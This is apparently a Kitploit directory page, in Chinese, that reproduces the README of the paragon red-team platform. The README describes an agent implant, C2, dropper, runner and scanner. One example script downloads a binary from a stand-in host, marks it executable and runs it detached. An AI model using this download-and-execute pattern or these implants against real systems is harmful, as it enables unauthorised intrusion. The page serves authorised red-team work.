Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/kcarretto/paragon
渗透测试框架漏洞利用框架脚本与自动化后渗透利用命令与控制红队Payload 开发
GitHubkcarretto/paragon

paragon

红队演练平台,旨在将进攻性工具统一于简洁的用户界面之下。

查看仓库
3044262年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

弃用通知

本项目已弃用,请参考我们的新项目 Realm 项目,它建立在我们在构建此仓库时提出的许多想法之上。

CI 构建状态 Go 报告卡 覆盖率状态 GitHub 发布 GoDoc

Paragon

演示

Paragon 是一个红队交战平台。它旨在将攻击性工具统一到一个简单的用户界面后面,抽象出大部分后端工作,使操作人员能够专注于编写植入物,减少对数据库和 CSS 的操心。该仓库还提供了一些已经与 Paragon 集成的攻击性工具,可在交战期间使用。

此仓库仍处于重度开发阶段,尚未准备好用于生产环境。当它被认为是稳定版本时,将发布 V1.0.0 标签。在此之前,API 可能会遇到破坏性变更,因为我们不断简化设计。如果您想帮助我们更快地达到这个里程碑,请阅读下面的开发文档。

目录

  • 功能亮点
  • 快速开始
  • 组件概览
  • 常见问题
  • 术语
  • 开发者指南

功能亮点

  • 轻松集成自定义工具,将操作统一在单一界面之后
  • 使用提供的 GraphQL API 查询红队知识图谱
  • 事件发射,用于低延迟自动化和实时处理
  • Python 类脚本语言,用于部署、后渗透等
  • 包含跨平台植入物和部署
  • 记录操作人员活动,方便汇总到交战后的审查报告中

快速开始

可以通过克隆仓库并运行 docker-compose up 来设置一个快速演示实例。在浏览器中打开 127.0.0.1:80 即可开始使用!

所使用的 Docker 镜像在 Docker Hub 上可用,并且可以通过 docker-compose 文件进行配置,用于生产部署。

组件概览

脚本语言

此仓库中的大多数组件都依赖于一种 Python 类脚本语言,该语言能够对其行为进行强大的控制和自定义。该语言是 Google 的 starlark 的修改版本,为操作人员扩展了跨平台功能。这也使得诸如 agent 和 dropper(下文讨论)之类的工具能够在不依赖系统二进制文件(curl、bash 等)的情况下执行任务。所有操作都作为 Go 代码执行,因此向脚本环境添加额外功能非常直观。以下是一个示例脚本:

root@kitploit:~
# 通过 https 下载文件,执行它,并且不作为子进程保留。
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# 将 new_bin 权限设置为 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)

参考

团队服务器

提供一个简单的 Web 应用程序和 GraphQL API 来与红队知识图谱交互,将工具统一到中央真相来源背后,并为操作人员抽象出许多繁琐的后端问题。使用 GraphQL API 或事件订阅将您的自定义工具与团队服务器集成,以节省后端工作的时间。团队服务器记录所有活动,因此当所有工具都统一在一个地方时,编写交战后的报告将变得非常容易。

内置工具

以下工具也包含在仓库中。它们可以很容易地扩展以适应多种跨平台用例。

Dropper

  • 完全跨平台
  • 将资源静态编译到单个二进制文件中
  • 提供 Python 类脚本语言用于自定义部署配置

Paragon 提供了一种工具,用于将资源(二进制文件、脚本等)打包到单个二进制文件中,当执行该二进制文件时,将执行您的自定义部署脚本,该脚本可以将资源写入文件系统、启动进程、下载文件、处理错误等。它完全跨平台且静态编译,提供可靠的部署。如果您想扩展其功能,只需在编译前扩展生成的 Go 文件即可。

Agent

  • 完全跨平台
  • 提供 Python 类脚本语言用于后渗透
  • 模块化的通信机制,只需编译您需要的部分
    • 利用多个选项确保可靠的回调
  • 自定义 agent 处理通信失败的方式

一个执行任务并报告执行结果的植入物。默认配置下,它使用 Paragon 的 Python 类脚本语言执行任务,并通过 HTTP(S) 与 C2 通信。它用 Go 编写,可以快速修改以添加新的传输方法(如 DNS)、执行选项、故障转移逻辑等。

C2

  • 轻量级部署
  • 高性能,能够处理数千个 Agent
    • 依赖于系统资源和可用带宽
  • 分布式服务,可以根据需要使用任意数量的 C2

充当 Agent 和团队服务器之间的中间人。它处理多种通信机制的 agent 回调,并从团队服务器队列中为 agent 提供新任务。

Runner

  • 低延迟、实时任务执行
  • 易于扩展以支持更多通信机制
  • 分布式服务,可以根据需要使用任意数量的 Runner

在某些情况下,可能不需要等待回调,而是需要一个主动连接来快速执行任务并查看其输出。Runner 通过订阅任务队列并建立到目标机器的连接(例如使用 SSH)来实现这一点。这使得类似 shell 的集成能够使用与植入物和 C2 相同的接口。它还允许通过此接口进行初始植入物部署。

Scanner

  • 监视可达的目标服务
  • 当服务变为可用/不可用时自动响应
  • 向知识图谱提供网络信息,其他工具可以利用这些信息
  • 分布式服务,可以根据需要使用任意数量的 Scanner

监视目标网络活动和可见的服务。绘制交战网络图,并在状态变化(例如 SSH 变得可用)时触发自动化。

常见问题

如果机器报告相同的 UUID 怎么办?

为团队服务器设置 PG_KS_MachineUUID killswitch 环境变量将禁用利用机器 UUID 的查找。

术语

为确保对这些复杂系统的清晰沟通,我们在下面列出了几个项目特定的术语,这些术语将在项目文档中贯穿使用。

植入物

在交战期间将在受感染系统上运行的任何恶意软件。

任务

要在特定受感染系统上执行的所需操作。任务向植入物提供执行指令,但其语法/结构可以完全特定于某个工具。

Agent

一种从团队服务器接收任务、执行任务并报告结果的植入物。此仓库包含一个可扩展的默认实现,要求任务以项目的 Python 类 DSL 编写。

作业

请求团队服务器执行一组给定操作。创建作业后,指令将被保存但不会执行。用户可以通过将作业加入队列并提供所需参数,请求团队服务器执行作业零次或多次。作业永远不能更新,但可以创建新版本的作业以避免过多的复制粘贴。

作业的常见用例是用户希望在几个目标上执行一个脚本。用户创建一个作业,指示团队服务器使用提供的内容创建任务,但将目标机器留作参数。当作业被加入队列时,用户提供目标机器列表作为参数,团队服务器将为每台机器创建一个任务。

开发者指南

以下作为 Paragon 开发的初步简要参考。更多文档可以在包 godoc 中找到,或者通过阅读一些代码来了解 :) 在我们最终确定一些设计决策后(在达到 v1 之前很久),将实施代码冻结,直到所有文档更新并适当组织完毕。

先决条件

  • Git
  • Docker
  • VSCode
    • 虽然您可以使用其他编辑器,但您将失去加速 VSCode 开发的自定义功能
    • 需要 Microsoft 提供的 Remote - Containers 扩展才能开始。

环境设置

安装上述先决条件后,您将能够很快开始。只需克隆仓库并在 VSCode 中打开即可。系统将提示您在开发容器中打开代码库,该容器已配置了所有项目依赖项和您需要的开发工具。如果此选项未出现,请打开命令面板并运行 > Remote-Containers: Open Folder In Container,这将为您启动容器。如果这是您第一次启动容器,下载可能需要一些时间……所以给自己倒杯咖啡 ^_^

项目布局

以下是项目结构的概览以及每个组件的位置。如果这部分过时了,请随时提交问题报告,或者最好提交 PR 来修复。代码库设置为单仓(monorepository),这使我们能够利用共享的开发工具、标准化等,同时避免复杂的版本冲突。

文件夹用途
.devcontainerVSCode 容器开发环境的配置。
.githubGithub 配置。
.stats一个 git 忽略的目录(您可能有也可能没有),用于存储性能分析输出。
ent团队服务器使用的图相关 API 定义。
graphql从 ent 生成的 GraphQL 模式及相关代码。
cmd命令行可执行工具和服务。
dist一个 git 忽略的目录,用于存储构建产物。
docker用于示例部署的 Dockerfile。
ent团队服务器使用的图模型和模式(请参阅 Facebook 的 entgo 工具了解更多信息)。
pkg仓库工具使用但也对外暴露的公共库。
pkg/agent轻松创建植入物或通信传输的抽象。
pkg/c2C2 服务相关的辅助工具和标准化消息定义。
pkg/c2/protoProtobuf 规范,用于定义 Agent 与 C2 通信的标准化序列化格式。
pkg/drop编译后的 dropper 载荷使用的一种简单方法。
pkg/middlewareHTTP 服务的通用中间件。
pkg/scriptPython 类脚本语言,用于动态配置、自动化和跨平台利用。
pkg/script/stdlib公开脚本执行环境功能的标准库。
pkg/teamserver团队服务器服务相关的辅助工具。
www包含由团队服务器托管的主要 Web 应用程序。由 Facebook 的 create-react-app 应用程序创建。
www/src/components可重用的 React 组件。
www/src/configWeb 应用程序配置和路由。
www/src/views从团队服务器查询数据并组合组件进行渲染的容器。

团队服务器参考

知识图谱

以下是团队服务器管理的红队知识图谱中节点之间关系的概述。

图

Agent 参考

传输优先级

要使用您自己的传输,只需实现 agent.Sender 接口并在初始化期间注册您的传输。现有传输的示例可以在 agent 包的子目录中找到。

任务执行

默认情况下,agent 期望任务遵循 starlark 语法,并为脚本提供标准库。要更改任务执行的行为(例如仅使用 bash 命令),您可以实现 agent.Receiver 接口来按您想要的方式执行任务。

脚本环境

脚本环境可以为您的 agent 进行自定义,使您能够轻松地为脚本打包新功能。请参阅 脚本选项 了解如何扩展 agent 的脚本引擎。

执行流程

以下是 agent 植入物的一般执行流程图。

添加传输

agent 被设计为易于使用新的传输机制进行自定义,基于传输优先级进行多路复用通信。

AgentExec

下载工具